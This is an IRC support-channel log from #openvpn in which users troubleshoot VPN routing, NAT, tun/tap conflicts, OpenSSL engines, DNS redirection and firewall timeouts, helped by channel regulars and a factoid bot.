07:22 -!- ayaka [~ayaka@222.76.205.131] has joined #openvpn
07:22 < ayaka> here is the config of client side and server http://paste.debian.net/69965/
07:23 < ayaka> the client is a route, but the lan of route can't ping the virtual address of server(10.0.10.129)
07:23 -!- master_of_master [~master_of@p4FD7BADD.dip0.t-ipconnect.de] has joined #openvpn
07:23 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
07:23 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Ping timeout: 246 seconds]
07:23 -!- master_o1_master [~master_of@p4FD7BADD.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
07:23 < ayaka> what is the problem?
07:23 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 246 seconds]
07:23 -!- u0m3 [~u0m3@92.80.102.164] has quit [Ping timeout: 246 seconds]
07:26 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
07:27 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
07:28 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
07:28 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
07:28 -!- mode/#openvpn [+o dazo_afk] by ChanServ
07:29 -!- dazo_afk is now known as dazo
07:30 -!- TTL117 [~TTL117@77.95.182.104] has joined #openvpn
07:32 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has joined #openvpn
07:37 < TTL117> Hi. I've got a VPN Server(tun, routing) with a web server behind it. There's a VPN client(router) and a LAN behind it. When users from within the LAN access the webserver, web server sees a visit from openvpn server IP and not specific local user IP. Server is setup with "iptables -t nat -A POSTROUTING -j MASQUERADE". To make webserver see user IPs, i'll have to stop masquerading and just pass
07:37 < TTL117> on the packets? Or what's the right way?
07:38 <@krzee> !route
07:38 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or client
07:38 <@krzee> no masq needed
07:38 < TTL117> just sysctl forwarding enabled?
07:38 < pagios> no need for masquerading if you are using a vpn
07:40 <@ecrist> pagios: BGP and how to configure it is well outside the scope of this channel
07:50 < pagios> is it the best way when using tap devices to do link aggregation at bgp level in openvpn? reading about he different openvpn methods i am a bit confused
07:51 <@krzee> in my ospf over openvpn setup i had to use ptp connections to get the bird routing daemon to handle ospf correctly
07:51 <@krzee> ymmv
07:56 -!- luc|dz [~kali@unaffiliated/lucdz/x-1796168] has quit [Ping timeout: 252 seconds]
08:01 < pagios> kraut: thats what i am trying to achieve http://pbrd.co/1brXJDa
08:01 <@vpnHelper> Title: Pasteboard Uploaded Image (at pbrd.co)
08:01 < pagios> link aggregation over multiple isps
08:02 < pagios> ideally the same connection will be sent over multiple links, my application will handle the reordering and delays
08:03 < pagios> so i dont know if my design makes sense, appreciate any expert recommendation
08:33 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
08:37 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 250 seconds]
08:38 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
08:45 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
08:45 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
08:45 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
08:45 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
08:47 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
08:47 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
08:47 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
08:49 -!- calcifea_ is now known as calcifea
08:49 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has joined #openvpn
08:55 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
09:01 -!- Netsplit *.net <-> *.split quits: Mike--, Kuba, codehero
09:03 < heraclitus> when using a client-connect script, in python, can I get the variable like this: common_name = os.environ['COMMON_NAME'] ?
09:04 -!- Mike-- [mad@mx.probie.nl] has joined #openvpn
09:04 <@plaisthos> yeah, but that is more a python than openvpn question
09:04 < heraclitus> I just wanted to make sure I wasn't doing it in correctly, I have the script written, and it continues to fail. so it's something other than how I'm getting the variable from openvpn
09:05 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has joined #openvpn
09:07 -!- Kuba [~jakub@unaffiliated/kuba] has joined #openvpn
09:07 < debbie10t> i have ubuntu serv 1204 and openvpn 221 - i have a vpn working in tap mode and another vpn in tun mode - both work fine one at a time but they will not work at the same time
09:08 < debbie10t> the tap mode vpn kills the tun mode vpn
09:08 < debbie10t> i have /dev/net/tun (used fot tap)
09:09 < debbie10t> and /dev/net/tun1 (used for tun)
09:10 < debbie10t> the tap subnet is 10.2.101.0/24 - tun subnet is 10.22.201.0/29
09:11 -!- codehero [codehero@irc.coding4coffee.org] has joined #openvpn
09:17 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 252 seconds]
09:19 -!- takamichi [~takamichi@85.12.8.14] has joined #openvpn
09:25 < debbie10t> btw - the tap is a client not a server so there is no bridge
09:25 < debbie10t> the tun is a server subnet topology
09:30 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
09:35 -!- luc|dz [~kali@unaffiliated/lucdz/x-1796168] has joined #openvpn
09:36 < lilibox> hi
09:36 < lilibox> please anybody so kind to help me?
09:37 < lilibox> looking for relative easy way, i need "bind" IP os server to my client, openvpn seems like is working, client obtained IP from servers LAN range
09:38 < lilibox> but my client still acts with IP from my client's ISP
09:38 < lilibox> i added this on side of server's config
09:38 < lilibox> push "redirect-gateway def1"
09:38 < lilibox> push "dhcp-option DNS 192.168.1.1"
09:41 -!- master_o1_master [~master_of@p4FD7BB9F.dip0.t-ipconnect.de] has joined #openvpn
09:41 -!- master_of_master [~master_of@p4FD7BADD.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
09:43 < lilibox> is it ok? i tried establish "bridged" connection
09:48 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:51 < ade_b> if I change the hostname of my server, I guess I will need to re-setup all the certificates right?
09:58 < debbie10t> @ade_b you don't need new certs if the host name is changed but the x509 common name will not reflect the host name
10:01 -!- takamichi [~takamichi@85.12.8.14] has quit [Ping timeout: 250 seconds]
10:03 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
10:06 < ade_b> debbie10t, perfect!  thanks
10:07 <@ecrist> pagios: yes, it is, but it's not really openvpn specific
10:07 <@ecrist> once your links are established, openvpn's work is done
10:08 < pagios> on the openvpn side i need to create 3 tap interfaces each for the wan link  ecrist ?
10:12 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
10:12 <@ecrist> why three?
10:13 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:19 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
10:19 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
10:25 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
10:27 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
10:28 < james41382> !logs
10:28 <@vpnHelper> "logs" is (#1) please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked) or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
10:33 < james41382> I am trying to switch over to the uci config file combining both a server and a client config into one file that will be processed via init
10:33 < james41382> If someone has time can they tell me why the client is not starting.. the server is starting fine.
10:36 < james41382> http://paste.debian.net/70002/
10:36 <@ecrist> is this a function of the init script?
10:36 < james41382> Maybe I am saying it wrong.. I'm a bit green.
10:37 < james41382> Is it not init has does all that in /etc/init.d?
10:37 <@ecrist> that is not a valid openvpn config
10:37 < james41382> I don't understand..
10:37 <@ecrist> it's something your package distributor has concocted - you'll need to get support from them.
10:37 < james41382> Oh I see.. now I understand.
10:38 <@ecrist> it's obvious it's designed to make openvpn work, but openvpn can't do anything with it on it's own.
10:38 <@ecrist> your init script needs to parse it, etc.  we don't support init scripts here
10:39 < james41382> There is the option in there to use a custom config. I could simply do that I suppose.
10:39 < james41382> That's what I had been doing before.. okay thanks.
10:39 <@ecrist> OR, you could just use an openvpn config. ;)
10:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
10:46 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
10:47 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
10:48 < james41382> ecrist: I have openvpn config files, but I'm not sure about the way openwrt uses init/d
10:48 < james41382> init.d
10:49 < james41382> So I'm trying to work with the way they have it setup..
10:50 <@ecrist> ok.  good luck
10:52 < debbie10t> hey ecrist - is it possible to run a tap client on the same ubuntu server as a tun server ?
10:52 <@ecrist> sure
10:53 < debbie10t> hmm.. of i will try to paste up the configs cos  its not working
10:53 < james41382> ecrist: thanks.
10:53 < debbie10t> !configs
10:53 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
10:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
11:03 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
11:05 -!- dan_j [~IceChat77@unaffiliated/danfromuk] has joined #openvpn
11:06 < dan_j> Hi. I'm trying to setup a yealink voip phone which supports openvpn. I've tested the openvpn client config on my windows computer and it works fine. But then phone is saying this TLS Error: Unroutable control packet received from x.x.x.x:1194
11:06 < dan_j> Any ideas what the problem could be?
11:07 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
11:19 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
11:20 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
11:25 < dan_j> With regards to the above, these are the logs from the server. http://pastebin.com/LAg7ahAd
11:25 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:25 < dan_j> Any ideas?
11:29 -!- Nikon [~Nikon@d24-235-162-103.home1.cgocable.net] has quit [Disconnected by services]
11:31 -!- Nikon_ [~Nikon@d24-235-162-103.home1.cgocable.net] has joined #openvpn
11:55 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 246 seconds]
12:04 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 272 seconds]
12:11 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
12:19 <@ecrist> debbie10t: you need to use different ports, IPs, or protocols, though.
12:20 -!- corretico [~luis@190.241.180.58] has joined #openvpn
12:26 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
12:26 < debbie10t> ecrist : do i need to use different devices ? like --dev-node /dev/net/tun0 and /dev/net/tap0 (ports/IPs are different - both use UDP)
12:26 < debbie10t> only one eth card eth0
12:40 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
13:05 < __FBi> Q:  I'm connected to my vpn, how do I tunnel my traffic through it?
13:06 < __FBi> windows 7
13:18 -!- NP-Completeass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 260 seconds]
13:21 <@krzee> !redirect
13:21 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:21 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
13:22 -!- NP-Completeass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
13:23 < __FBi> thanks krzee!
13:23 < __FBi> long time
13:23 <@krzee> np
13:24 < __FBi> My phone forwards, but my windows doesn't\
13:24 < __FBi> so I need to enable redirect client
13:24 < __FBi> !def1
13:25 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
13:25 -!- Saul775 [~Saul@67.138.231.194] has quit [Ping timeout: 252 seconds]
13:25 -!- Saul775 [~Saul@67.138.231.194] has joined #openvpn
13:38 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
13:52 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
13:56 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
14:00 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
14:11 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 241 seconds]
14:18 -!- jaybe [jaybe@unaffiliated/jaybe] has joined #openvpn
14:20 < jaybe> hi. can common clients such as OSX' built-in VPN configurations for L2TP, PPTP, Cisco, etc. connect to an openvpn daemon/server ... or is openvpn required to be installed/configured/running on each connected device?
14:21 -!- mattock is now known as mattock_afk
14:21 < rob0> OpenVPN is not interoperable with other VPN protocols.
14:22 < jaybe> rob0, thank you; that's what i understand from the brief reading. thanks for confirming.
14:26 < Nikon_> yo
14:26 < Nikon_> so
14:27 < Nikon_> for client-config-dir
14:27 < Nikon_> is a ./ required for a lower folder?
14:27 -!- jaybe [jaybe@unaffiliated/jaybe] has left #openvpn ["."]
14:28 < rob0> "./" in Unix means "the name following the '/' is a directory in or under the current directory."
14:28 < Nikon_> will i have to do that for windows as well?
14:28 -!- qwertyoruiop is now known as fontas
14:29 -!- fontas is now known as qwertyoruiop
14:32 < dan_j> Hi, when I do ./build-key to create a new client cert, do I need to re-run ./build-dh?
14:33 < __FBi> dan_j: un-official: http://aahank.com/debian-ubuntu-vpn-server/
14:33 <@vpnHelper> Title: Set up OpenVPN on Debian/Ubuntu server (at aahank.com)
14:33 < Nikon_> Also for the common name files do they have no extention?
14:34 < dan_j> __FBi: thanks. That really didnt answer my question.
14:34 < rob0> dhparam is only needed on a server.
14:34 < __FBi> dan_j: I don't think you do.  I'm a newbie myself
14:34 < dan_j> Ok. Thanks
14:35 < rob0> Filenames can be whatever you want them to be. If some kind of standard filename extension helps you, by all means, use it.
14:37 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
14:38 < __FBi> rob0, OpenVPN client didn't allow me to add client.conf to it, in windows
14:39 < __FBi> I had to rename it .ovpn
14:41 < rob0> I believe the question was about certificate files? And sure, you have to deal with whatever quirks your frontend throws at you, but even on Windows, you should be able to run "openvpn --config whatever-filename-you-used".
14:44 < Nikon_> rob0: can i ask for a favour?
14:45 -!- corretico [~luis@190.241.180.58] has quit [Remote host closed the connection]
14:45 < Nikon_> ifconfig-push 10.8.0.10 10.8.0.11 when i have that what exactly am i pushing?
14:45 < Nikon_> can i assign another user 10.8.0.11
14:45 < Nikon_> even tho thats in that config?
14:47 < rob0> Each endpoint in a VPN must obviously (?) have a unique IP address within that VPN. If one client has 10.8.0.11, another client cannot.
14:47 < Nikon_> that config what is it stating?
14:48 < Nikon_> is it giving it 10.8.0.10
14:48 < Nikon_> ?
15:10 < rob0> My time is limited. I would have to look that up in the man page.
15:10 < rob0> !man
15:10 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
15:10 < rob0> see #3, Protip
15:12 <@ecrist> dan_j: no, you don't.
15:14 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Quit: Quit]
15:16 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
15:18 -!- cherwin_ [~cherwin@c80-216-203-242.bredband.comhem.se] has joined #openvpn
15:20 < debbie10t> hello guys - i pasted my configs for some help about this weird tun/tap type conflict
15:20 < debbie10t> http://pastebin.com/pqh5RGzH
15:21 < debbie10t> any idea ?
15:22 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
15:23 -!- dan_j [~IceChat77@unaffiliated/danfromuk] has quit [Quit: IceChat - Its what Cool People use]
15:33 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
16:05 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has quit [Ping timeout: 245 seconds]
16:08 -!- zongo [~Thunderbi@46.165.208.194] has joined #openvpn
16:08 < zongo> Greetings to all
16:10 < zongo> i have DNS leakage using OpenVPN 2.3 on Win 8.1 with my own DNS server. Anything I can do keeping in mind that I can only change the config client side ?
16:12 < zongo> I am using a Mac as well and with same config, I dont have that issue.  One could argue, different OS :) but is there a solution on Win 8.1 to be able to use different DNS servers than the one on the VPN ?
16:12 < pekster> Sure, use different DNS servers than the one on the VPN
16:13 < pekster> Configure your OS to do what you want. If you don't control the server, set whatever you want on the client side. If you want to script it, ##windows can offer ideas for your client
16:13 < zongo> if I do that on the WIn platform, I have my DNS leaking
16:13 -!- luc|dz [~kali@unaffiliated/lucdz/x-1796168] has quit [Ping timeout: 252 seconds]
16:13 < pekster> Define "leaking"=
16:14 < zongo> My real IP (public) is seeable
16:15 < zongo> If I do not use my DNS servers and stay with the VPN's I dont have that issue
16:15 < zongo> What I did is just coded the DNS servers in the NIC on Win 8.1
16:15 < zongo> I tried to change config side of the client but to no avail
16:16 < zongo> what really blows my mind is this issue is non existant on a mac
16:16 < pekster> Those are two entirley different things
16:16 < pekster> !redirect
16:16 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:16 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
16:16 < pekster> Oh, you're not the server owner. Then,
16:16 < pekster> !provider
16:16 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
16:17 < pekster> DNS and NAT are different topics
16:17 < zongo> correct
16:17 < pekster> Then dont fucking combine them
16:17 < zongo> I cannot touch the server config
16:17  * pekster stopped caring when you explained DNS problems as "public IP" nonsense
16:18 -!- dregan [~m1@unaffiliated/dregan] has joined #openvpn
16:18 < dregan> hello
16:18 < pekster> If you're doing the stuff in !redirect then just set DNS to a well-known public one like GoogleDNS. Problem solved.
16:18 < pekster> Anything else is your crappy setup
16:19 < dregan> i have upgraded my system to centos 6.5 latest..... i was using "engine aes-ni" in the .conf .... however now when i start the openvpn service i get error "OpenSSL: Cannot load engine aes-ni"
16:19 < dregan> does centos 6 allready use aes-ni and we dont need to load it in the config file like "engine aes-ni" ?
16:21 < pekster> dregan: show engines with `openvpn --show-engines`
16:21 -!- zongo [~Thunderbi@46.165.208.194] has left #openvpn []
16:22 < dregan> pekster: http://pastebin.com/1pUzxt31
16:22 < pekster> Right, so those are the only valid engines you can pass using the --engine config directive
16:22 < dregan> this only happened when i did a upgrade kernel from centos 6.4 > 6.5 ... now i have to comment out "engine aes-ni" from my config file to get openvpn started
16:23 < pekster> 'aes-ni' is not a valid engine, but dynamic or rdrand are
16:23 < dregan> why is aes-ni gone now? my cpu supports it
16:23 < pekster> Apparently using the "Intel RDRAND engine." Normally the dynamic load engine (the default if you do nothing) tries to use hw-accel available to openssl
16:23 < pekster> In your case, openvpn & openssl are aware of it
16:24 < pekster> Probably a change in the openssl version you upgraded to during the 6.5 upgrade
16:24 < dregan> in centos 6.4 ... i was using "engine aes-ni" fine .... however now its not working
16:24  * pekster just explained that
16:24 < pekster> Please read the last few lines I just wrote
16:25 < pekster> If it's not in that engine output, you can't use it. Period.
16:25 < dregan> pekster: i understand, but in 6.4 i was using that engine, and was taking advantage of the cpu aes-ni
16:25 < pekster> FFS, you _HAVE_ an engine
16:26 < pekster> It's not necessarily going to be called "aes-ni" depending on the hardware and how openssl exposes it
16:26 < pekster> Either the name changed, or it wasn't doing any good before and silently ignored
16:26 < dregan> so should i define an "engine" directive in the server.conf ?
16:26 < pekster> 16:23:47 < pekster> Apparently using the "Intel RDRAND engine." Normally the dynamic load engine (the default if you do nothing) tries to use hw-accel available to openssl
16:27 < dregan> ok, should i do a speed test and post the results? i think its quite low numbers
16:27 -!- Nikon_ [~Nikon@d24-235-162-103.home1.cgocable.net] has quit [Ping timeout: 246 seconds]
16:27 < pekster> Your !configs and !logs are more useful
16:27 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:28 < pekster> And remember that aes-ni support is only valid for AES ciphers, and you'll generally only see performance benefits when _both_ ends have hw-accel
16:28 < pekster> !configs
16:28 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
16:28 < dregan> oh, it has to be on both ends?
16:28 < dregan> i see
16:28 < pekster> !logs
16:28 <@vpnHelper> "logs" is (#1) please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked) or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
16:28 < pekster> dregan: Yes, of course. Otherwise the "other end" is still doing in-CPU (software) crypto
16:30 < pekster> A server that connects to "many" clients could in theory see performance gains if the client traffic would normally cap out the server's CPU
16:30 < pekster> But it all depends on where your current bottleneck is
16:30 < dregan> ok, is there any benefit to do load engine rdrand in server.conf?
16:31 < pekster> Probably not; the 'dynamic' engine should, as I understand it, use any hw-accel you have before falling back to software
16:31 < dregan> because i see my load is higher than before, i think im not taking advantage of a cpu
16:31 < pekster> Check your logs
16:31 < dregan> ok sec
16:31 -!- Nikon [~Nikon@d24-235-162-103.home1.cgocable.net] has joined #openvpn
16:31 < pekster> Couldn't hurt to compare it between logs with an engine defined
16:31 -!- Nikon [~Nikon@d24-235-162-103.home1.cgocable.net] has quit [Read error: Connection reset by peer]
16:32 < debbie10t> hello pekster: would you be able to shed any light on this http://pastebin.com/pqh5RGzH
16:34 < pekster> Those configs don't belong to the same setup
16:34 < pekster> So no
16:35 < pekster> No logs, no report of what's wrong
16:35 < pekster> Try harder
16:35 < debbie10t> pekster : they are on the same machine for two different setups running at the same time - not one client on server on diff machines
16:35 < pekster> Then you obviously can't use the same device name
16:35 < pekster> line 20 vs line 50
16:36 < debbie10t> individually each vpn works fine - but if i try to start them at the same time only the TAP connection works
16:36 < pekster> 16:35:52 < pekster> Then you obviously can't use the same device name
16:36 < pekster> !read
16:36 <@vpnHelper> "read" is <krzee> ive been known to overreact when people look for 2 minutes and ask me to explain it to them
16:38 -!- dregan [~m1@unaffiliated/dregan] has quit [Ping timeout: 240 seconds]
16:38 < debbie10t> by "the same device" do you mean tap0 and tun0 ? i have used mkdev to create separate files named /dev/net/tun0 and /dev/net/tap0
16:39 < pekster> Oh, tun vs tap, okay, that's fine then
16:39 < pekster> So "what" is wrong exactly?
16:40 < pekster> Post logs; could be an IP conflict, and this is why you should come prepared with all the info needed
16:40 < pekster> Not bits and pieces as it's convenient
16:40 < pekster> And not at verb 6
16:41 < debbie10t> both setups work fine when they are only run one at a time but when i run them tyogether only the TAP setup functions the TUN just ignores everything - see also it is running under a virtual box but it does have dedicated NIC to the VBOX machine
16:41 < debbie10t> the IPs are tap 10.2.101.255/24 the tun is 10.22.201.0/29
16:42 < debbie10t> i suspect it is a virtualbox vs server mode in openvpn
16:42 < debbie10t> security measure
16:42 < pekster> ??
16:43 < pekster> I have clue what you're on about and quite frankly don't relly care
16:43 < pekster> !both
16:43 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
16:43 < debbie10t> i am on both ends . . .
16:45 < pekster> --dev-node is pointless (remove it.) --dev-type is also pointless since your device begins with the correct prefix: remove it
16:45 -!- cherwin_ [~cherwin@c80-216-203-242.bredband.comhem.se] has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
16:46 < pekster> That might in theory cause problems becusae --dev-node is _always_ set to the device _node_, not the instance name
16:47 < debbie10t> ok - I will try it - would it sence for me to name the nodes more uniquely like say TAP_CLI and TUN_SRV or something like that ?
16:47 < pekster> It doesn't matter at all
16:47 < pekster> I recommend you don't name adapters explicitly at all
16:47 < pekster> Use just `dev tun` or `dev tap` and let the program sort it out
16:48 < pekster> The one exception is if you have pre-configured firewall or routing rules, in which case use a unique name that starts with "tap" or "tun" and is otherwise not going to conflict with auto-generated ones
16:48 < debbie10t> I'll try it now
16:48 < pekster> So, tapexample, or tap_Thing1, or tap_BlueFish or whatever
16:53 < debbie10t> just to be clear - i do need two /dev/net/nodes to try this seup - they cannot use the same node
16:53 < pekster> No
16:53 < pekster> You only ever have _1_ node (unless you're on Windows, because WIndows is stupid)
16:53 < debbie10t> ahh -- ok
16:54 < debbie10t> so two different instances of openvpn - one in tap and one in tun can use the same node under ubuntu 1204
16:55 < pekster> That's what I just said, yes.
16:56 -!- pierre_ [~pierre@90.84.144.59] has joined #openvpn
16:56 < pierre_> hello
16:59 < pierre_> have a strange problem, maybe can somebody help me...
16:59 < pekster> !new
16:59 <@vpnHelper> "new" is (#1) New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto or (#2) You can type each of the !commands in this chat and our bot will provide useful references and info
17:00 < pekster> !ask
17:00 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
17:00 < pierre_> I'm already a little bit familiar with these ^^
17:01 < pekster> Then, "Maybe someone can help you"
17:01 < pierre_> sure ^^
17:02 < pierre_> I'm using android mobile client
17:02 < pierre_> to connect to my synology server
17:02 < pierre_> at home : works fine both from wlan AND gprs
17:03 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 250 seconds]
17:03 < pierre_> at work : seems blocked... messages like : server poll timeout
17:05 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
17:05 < pekster> If you can connect to it from 1 location but not another using the same client device, a firewall is a good bet, yes
17:05 < pekster> Traceroute and find out where; the better trace utilities let you probe a single (non-incrementing) port
17:06 < pekster> Or f.ex, nmap with the --trace flag
17:06 < pierre_> pekster: I did some dumps with scapy, but I'm not very familiar with
17:07 < pierre_> pekster: fact is when I'm "at home" using gprs I'm already accessing the syno from the outside of the firewall
17:07 < pierre_> and it works...
17:07 < pierre_> will give nmap a try
17:08 < pierre_> client
17:08 < pierre_> dev tun
17:08 < pierre_> tls-client
17:08 < pierre_> remote myhostname.no-ip.org 1194
17:08 < pierre_> proto udp
17:08 < pierre_> script-security 2
17:08 < pierre_> comp-lzo
17:08 < pierre_> persist-key
17:08 < pierre_> persist-tun
17:08 < pierre_> server-poll-timeout 180
17:08 < pierre_> ca ca.crt
17:08 < pekster> !paste
17:08 <@vpnHelper> "paste" is (#1) "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments or (#2) gist allows multiple files per paste, useful if you have several files to show
17:08 < pekster> DOn't spam her
17:08 < pierre_> key tesla.key
17:08 < pierre_> cert tesla.crt
17:08 < pierre_> reneg-sec 0
17:09 < pierre_> auth-user-pass pass.txt
17:09 < pierre_> errr sorry
17:11 < pierre_> could my problem be ipv6 related ?
17:11 < pekster> Not if you can't even get connected, no
17:12 -!- klein [~klein@187.85.175.122] has joined #openvpn
17:12 -!- klein [~klein@187.85.175.122] has quit [Changing host]
17:12 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:18 < pierre_> I have this with verb 7 : http://nopaste.info/f2cb9b36da.html
17:19 < pekster> Don't use >5, and only use 5 when you need to get per-packet character printout
17:19 < pierre_> scapy output : http://nopaste.info/6384301f85.html
17:19 < pekster> However, line 7 is the generic "couldn't reach the endpoint"
17:19 < pierre_> pekster: k
17:20 < pekster> That's also worthless output; you never get a reply back from the server in UDP mode
17:20 < pekster> You need to _trace_ the path
17:20 < pekster> Presumably packets aren't even getting to your server or you'd get that initial reply
17:21 < pierre_> traceroute output : http://nopaste.info/e41d70f85c.html
17:22 < pekster> So you can reach the host, but you want to trace udp/1194
